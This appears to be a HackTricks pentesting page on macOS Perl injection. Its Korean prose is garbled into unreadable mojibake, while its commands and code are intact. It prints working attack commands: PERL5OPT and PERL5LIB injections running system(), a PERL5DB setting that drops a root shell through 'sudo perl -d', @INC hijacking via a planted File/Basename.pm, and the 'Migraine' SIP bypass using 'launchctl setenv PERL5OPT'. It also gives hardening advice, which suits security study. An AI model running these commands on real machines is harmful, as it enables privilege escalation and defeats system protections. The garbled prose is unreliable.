macOS Perl Applications Injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Via PERL5OPT & PERL5LIB env variable
ํ๊ฒฝ ๋ณ์ **PERL5OPT**๋ฅผ ์ฌ์ฉํ๋ฉด Perl์ด ์ธํฐํ๋ฆฌํฐ๊ฐ ์์๋ ๋ ์์์ ๋ช
๋ น์ ์คํํ๋๋ก ํ ์ ์์ต๋๋ค(๋์ ์คํฌ๋ฆฝํธ์ ์ฒซ ๋ฒ์งธ ์ค์ด ๊ตฌ๋ฌธ ๋ถ์๋๊ธฐ ์ ์). ์๋ฅผ ๋ค์ด, ์ด ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํฉ๋๋ค:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
์ด์ ํ๊ฒฝ ๋ณ์๋ฅผ ๋ด๋ณด๋ด๊ณ perl ์คํฌ๋ฆฝํธ๋ฅผ ์คํํฉ๋๋ค:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
๋ ๋ค๋ฅธ ์ต์
์ Perl ๋ชจ๋์ ์์ฑํ๋ ๊ฒ์
๋๋ค (์: /tmp/pmod.pm):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
๊ทธ๋ฐ ๋ค์ env ๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ ๋ชจ๋์ด ์๋์ผ๋ก ์์นํ๊ณ ๋ก๋๋๋๋ก ํฉ๋๋ค:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
๋ค๋ฅธ ํฅ๋ฏธ๋ก์ด ํ๊ฒฝ ๋ณ์
PERL5DBโ ์ธํฐํ๋ฆฌํฐ๊ฐ-d(๋๋ฒ๊ฑฐ) ํ๋๊ทธ๋ก ์์๋ ๋,PERL5DB์ ๋ด์ฉ์ ๋๋ฒ๊ฑฐ ์ปจํ ์คํธ ๋ด๋ถ์์ Perl ์ฝ๋๋ก ์คํ๋ฉ๋๋ค. ํน๊ถ Perl ํ๋ก์ธ์ค์ ํ๊ฒฝ ๋ฐ ๋ช ๋ น์ค ํ๋๊ทธ๋ฅผ ๋ชจ๋ ์ํฅ์ ๋ฏธ์น ์ ์๋ค๋ฉด ๋ค์๊ณผ ๊ฐ์ ์์ ์ ์ํํ ์ ์์ต๋๋ค:
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๊ธฐ ์ ์ ์
ธ์ ๋๋กญํฉ๋๋ค
PERL5SHELLโ Windows์์ ์ด ๋ณ์๋ Perl์ด ์ ธ์ ์์ฑํด์ผ ํ ๋ ์ฌ์ฉํ ์ ธ ์คํ ํ์ผ์ ์ ์ดํฉ๋๋ค. macOS์๋ ๊ด๋ จ์ด ์๊ธฐ ๋๋ฌธ์ ์์ ์ฑ์ ์ํด ์ฌ๊ธฐ ์ธ๊ธ๋ฉ๋๋ค.
PERL5DB๋ -d ์ค์์น๋ฅผ ์๊ตฌํ์ง๋ง, ์ด ํ๋๊ทธ๊ฐ ํ์ฑํ๋ ์ํ๋ก root๋ก ์คํ๋๋ ์ ์ง ๊ด๋ฆฌ ๋๋ ์ค์น ์คํฌ๋ฆฝํธ๋ฅผ ์ฐพ๋ ๊ฒ์ ์ผ๋ฐ์ ์ด๋ฉฐ, ์ด ๋ณ์๋ ์ ํจํ ์์น ๋ฒกํฐ๊ฐ ๋ฉ๋๋ค.
์์กด์ฑ์ ํตํ (@INC ๋จ์ฉ)
Perl์ด ๊ฒ์ํ ํฌํจ ๊ฒฝ๋ก (@INC)๋ฅผ ๋์ดํ๋ ๊ฒ์ ๋ค์์ ์คํํ์ฌ ๊ฐ๋ฅํฉ๋๋ค:
perl -e 'print join("\n", @INC)'
macOS 13/14์ ์ผ๋ฐ์ ์ธ ์ถ๋ ฅ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
์ผ๋ถ ๋ฐํ๋ ํด๋๋ ์กด์ฌํ์ง ์์ง๋ง, **/Library/Perl/5.30**๋ ์กด์ฌํ๋ฉฐ SIP์ ์ํด ๋ณดํธ๋์ง ์๊ณ SIP ๋ณดํธ ํด๋๋ณด๋ค ์์ ์์ต๋๋ค. ๋ฐ๋ผ์, root๋ก ์ธ ์ ์๋ค๋ฉด ์
์ฑ ๋ชจ๋(์: File/Basename.pm)์ ๋๋กญํ ์ ์์ผ๋ฉฐ, ์ด๋ ํด๋น ๋ชจ๋์ ๊ฐ์ ธ์ค๋ ๋ชจ๋ ๊ถํ ์๋ ์คํฌ๋ฆฝํธ์ ์ํด ์ฐ์ ์ ์ผ๋ก ๋ก๋๋ฉ๋๋ค.
Warning
/Library/Perl๋ด๋ถ์ ์ฐ๋ ค๋ฉด ์ฌ์ ํ root ๊ถํ์ด ํ์ํ๋ฉฐ, macOS๋ ์ฐ๊ธฐ ์์ ์ ์ํํ๋ ํ๋ก์ธ์ค์ ๋ํด ์ ์ฒด ๋์คํฌ ์ ๊ทผ์ ์์ฒญํ๋ TCC ํ๋กฌํํธ๋ฅผ ํ์ํฉ๋๋ค.
์๋ฅผ ๋ค์ด, ์คํฌ๋ฆฝํธ๊ฐ **use File::Basename;**๋ฅผ ๊ฐ์ ธ์ค๊ณ ์๋ค๋ฉด, ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์ฝ๋๋ฅผ ํฌํจํ๋ /Library/Perl/5.30/File/Basename.pm์ ์์ฑํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค.
Migration Assistant๋ฅผ ํตํ SIP ์ฐํ (CVE-2023-32369 โMigraineโ)
2023๋
5์, Microsoft๋ CVE-2023-32369๋ฅผ ๊ณต๊ฐํ์ผ๋ฉฐ, ์ด๋ Migraine์ด๋ผ๋ ๋ณ๋ช
์ ๊ฐ์ง ํฌ์คํธ ์ต์คํ๋ก์ ๊ธฐ์ ๋ก, root ๊ณต๊ฒฉ์๊ฐ **์์คํ
๋ฌด๊ฒฐ์ฑ ๋ณดํธ(SIP)**๋ฅผ ์์ ํ ์ฐํํ ์ ์๊ฒ ํด์ค๋๋ค. ์ทจ์ฝํ ๊ตฌ์ฑ ์์๋ **systemmigrationd**๋ก, com.apple.rootless.install.heritable ๊ถํ์ ๊ฐ์ง ๋ฐ๋ชฌ์
๋๋ค. ์ด ๋ฐ๋ชฌ์ ์ํด ์์ฑ๋ ๋ชจ๋ ์์ ํ๋ก์ธ์ค๋ ํด๋น ๊ถํ์ ์์๋ฐ์ SIP ์ ํ ์ธ๋ถ์์ ์คํ๋ฉ๋๋ค.
์ฐ๊ตฌ์๋ค์ด ํ์ธํ ์์ ์ค์๋ Apple ์๋ช ์ธํฐํ๋ฆฌํฐ๊ฐ ์์ต๋๋ค:
/usr/bin/perl /usr/libexec/migrateLocalKDC โฆ
Perl์ PERL5OPT๋ฅผ ์กด์คํ๊ณ (Bash๋ BASH_ENV๋ฅผ ์กด์คํ๋ฏ๋ก), ๋ฐ๋ชฌ์ ํ๊ฒฝ์ ์ค์ผ์ํค๋ ๊ฒ๋ง์ผ๋ก๋ SIP๊ฐ ์๋ ์ปจํ
์คํธ์์ ์์ ์คํ์ ์ป๊ธฐ์ ์ถฉ๋ถํฉ๋๋ค:
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait โ systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
migrateLocalKDC๊ฐ ์คํ๋๋ฉด, /usr/bin/perl์ด ์
์ฑ PERL5OPT์ ํจ๊ป ์์๋๊ณ /private/tmp/migraine.sh๋ฅผ ์คํํฉ๋๋ค SIP๊ฐ ๋ค์ ํ์ฑํ๋๊ธฐ ์ ์. ๊ทธ ์คํฌ๋ฆฝํธ์์ ์๋ฅผ ๋ค์ด, /System/Library/LaunchDaemons ๋ด๋ถ์ ํ์ด๋ก๋๋ฅผ ๋ณต์ฌํ๊ฑฐ๋ com.apple.rootless ํ์ฅ ์์ฑ์ ํ ๋นํ์ฌ ํ์ผ์ ์ญ์ ํ ์ ์๊ฒ ๋ง๋ค ์ ์์ต๋๋ค.
Apple์ macOS Ventura 13.4, Monterey 12.6.6 ๋ฐ Big Sur 11.7.7์์ ์ด ๋ฌธ์ ๋ฅผ ์์ ํ์ง๋ง, ์ด์ ๋ฒ์ ์ด๋ ํจ์น๋์ง ์์ ์์คํ ์ ์ฌ์ ํ ์ทจ์ฝํฉ๋๋ค.
Hardening recommendations
- ์ํํ ๋ณ์ ์ง์ฐ๊ธฐ โ ๊ถํ์ด ์๋ launchdaemons ๋๋ cron ์์
์ ๊นจ๋ํ ํ๊ฒฝ์์ ์์ํด์ผ ํฉ๋๋ค (
launchctl unsetenv PERL5OPT,env -i๋ฑ). - ์๊ฒฉํ ํ์ํ์ง ์๋ ํ ๋ฃจํธ๋ก ์ธํฐํ๋ฆฌํฐ ์คํ ํผํ๊ธฐ. ์ปดํ์ผ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ฌ์ฉํ๊ฑฐ๋ ๊ถํ์ ์กฐ๊ธฐ์ ๋ฎ์ถ์ญ์์ค.
-T(taint mode)๋ก ๊ณต๊ธ์ ์ฒด ์คํฌ๋ฆฝํธ ์ฌ์ฉํ๊ธฐ. ์ด๋ ๊ฒ ํ๋ฉด Perl์ด taint ์ฒดํฌ๊ฐ ํ์ฑํ๋ ๋PERL5OPT๋ฐ ๊ธฐํ ์์ ํ์ง ์์ ์ค์์น๋ฅผ ๋ฌด์ํฉ๋๋ค.- macOS๋ฅผ ์ต์ ์ํ๋ก ์ ์งํ๊ธฐ โ โMigraineโ์ ํ์ฌ ๋ฆด๋ฆฌ์ค์์ ์์ ํ ํจ์น๋์์ต๋๋ค.
References
- Microsoft Security Blog โ โNew macOS vulnerability, Migraine, could bypass System Integrity Protectionโ (CVE-2023-32369), May 30 2023.
- Hackyboiz โ โmacOS SIP Bypass (PERL5OPT & BASH_ENV) researchโ, May 2025.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


